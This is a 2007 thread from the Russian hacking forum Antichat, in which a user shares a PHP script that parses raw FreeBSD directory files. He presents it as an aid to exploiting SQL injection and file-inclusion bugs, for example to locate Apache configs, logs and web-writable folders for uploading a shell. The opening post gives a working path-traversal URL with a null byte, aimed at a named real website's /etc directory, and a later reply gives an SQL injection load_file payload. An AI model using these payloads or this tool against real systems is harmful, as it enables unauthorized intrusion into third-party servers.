Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Избранное (https://forum.antichat.xyz/forumdisplay.php?f=89)
-   -   скрипт для парсинга файлов каталогов (https://forum.antichat.xyz/showthread.php?t=55237)

Scipio 07.12.2007 19:00

скрипт для парсинга файлов каталогов
 
скрипт для парсинга файлов каталогов,
испытать его можно на gerz.ru:
идем по ссылке:
Код:

http://www.gerz.ru/engine/ajax/vote.php?vote_action=results&vote_skin=../../../../../../../../../../../etc/%00
сохраняем полученную страницу на диск в папку со скриптом
в строчке $fl=file_get_contents("file"); прописываем имя файла...

как выяснилось на FreeBSD можно читать не только обычные файлы, но и файлы каталогов с помощью например комманды cat или средствами php

скрипт бывает полезен, когда например есть sql инъекция с возможностью чтения файлов, то для того чтобы искать логи или конфиги апача, да даже для того чтоб найти путь к папкам доступным из веба, допустим для записи шелла, также при инклюдах (на Free BSD конечно же), вобщем must have, если сейчас не нужен, то пригодится позднее, также его несложно переделать под функцию и использовать в эксплоитах ;)

PHP код:

<?php
error_reporting
(E_ALL);
$fl=file_get_contents("file");
$s=bin2hex ($fl);
$ln=strlen($s)-5;
$nam=FALSE;

for (
$i=0;$i<$ln;$i+=2)
   {
       
$curhex=substr($s,$i,3);
       
$nexthex=substr($s,$i+4,1);

       if ((
$curhex=='040') and ($nexthex>'1') and ($nexthex<'8'))

           {
            
$pob="<br>".'[DIR] ';
            
$nam=TRUE;
            
$i+=4;
           }

       if ((
$curhex=='080') and ($nexthex>'1') and ($nexthex<'8'))

           {
            
$pob="<br>".'[FILE] ';
            
$nam=TRUE;
            
$i+=4;
           }

       if (
$nam===TRUE)

           {

            if ((
$s[$i]>'1') and ($s[$i]<'8'))
                {
                 
$hx=substr($s,$i,2);
              
$hx=chr(hexdec($hx));
              
$pob=$pob.$hx;
             }
         else {echo 
$pob$nam=FALSE;}
        }


   }
?>


Scipio 07.12.2007 19:25

работает он так:

в файле каталога я заметил такую особенность, перед именем файла или каталога идут два байта первый из них принимает значения или 04 или 08, второй байт везде не больше 15 в десятичной си т.е. в шестнадцатиричной си начинается на 0...

так вот, если этот первый байт 04, то за этими двумя байтами идет имя каталога, а если 08, то это имя файла, насчет ссылок я не выяснил, но выяснить постараюсь...

большая просьба к тем кто будет использовать скрипт, отписаться тут о его работе, меня смущает именно этот второй байт, может ли он принимать значения больше 0f, если всетаки может, то скрипт будет работать неправильно и не отображать некоторые имена

VampiRUS 12.12.2007 15:51

помойму не только во FreeBSD, вроде во всех Unix like системах каталоги приедставлены в виде файлов(на счёт всех могу ошибаться).
за скрипт +
сам хотел как-нить подобный написать.

Scipio 12.12.2007 16:01

Цитата:

Сообщение от VampiRUS
помойму не только во FreeBSD, вроде во всех Unix like системах каталоги приедставлены в виде файлов(на счёт всех могу ошибаться).
за скрипт +
сам хотел как-нить подобный написать.

да, ты прав, во всех Unix like системах каталоги приедставлены в виде файлов, но только во FreeBSD эти файлы можно читать с помощью ЯП или cat например, из всего что я пробовал это получается только во FreeBSD

guest3297 12.12.2007 16:51

Цитата:

да, ты прав, во всех Unix like системах каталоги приедставлены в виде файлов, но только во FreeBSD эти файлы можно читать с помощью ЯП или cat например, из всего что я пробовал это получается только во FreeBSD
Бред.

Scipio 12.12.2007 16:53

В чем бред то?

Goudini 14.12.2007 21:22

Цитата:

Сообщение от [ cash ]
Бред.

факт! нампример при sql-иньеции (os FreeBSD) можно прочитать содержимое директории через select null, null, null, load_file('/etc')....

Macro 14.12.2007 21:42

Хорошая штука, но что делать если выводится кроме файла каталога еще другая инфа?

Scipio 14.12.2007 22:33

Цитата:

Сообщение от Macro
Хорошая штука, но что делать если выводится кроме файла каталога еще другая инфа?

Я не совсем понял о какой инфе ты говоришь, но если я правильно тебя понял, то эта инфа просто проигнорирует ся в большинстве случаев, так как там идет поиск по байтам со значением 04 и 08 и причем следующий байт после них должен тоже быть не больше 0Fh

ZaCo 14.12.2007 23:15

да куда проще было бы не "реверсить" и изучать устройство каталога, а просто выводить подстроки состоящие из печатаемых символов. просто возможен вариант, что к примеру атрибуты файла (права, время модификации и тп) представленные в бинарном виде, буду содержать то что ты ищешь и на что парсишь, хотя конечно врядли..

>>да, ты прав, во всех Unix like системах каталоги приедставлены в виде файлов, но
>>только во FreeBSD эти файлы можно читать с помощью ЯП или cat например, из
>>всего что я пробовал это получается только во FreeBSD

точно, просто фс'мы, например, linux'ов пишут в errno, при вызове open на каталог, ошибку EISDIR, этим они, мягко говоря, советуют пользоваться другими вызовами для работы с каталогами, странно почему в бсд это можно делать непосредственно..


Время: 18:35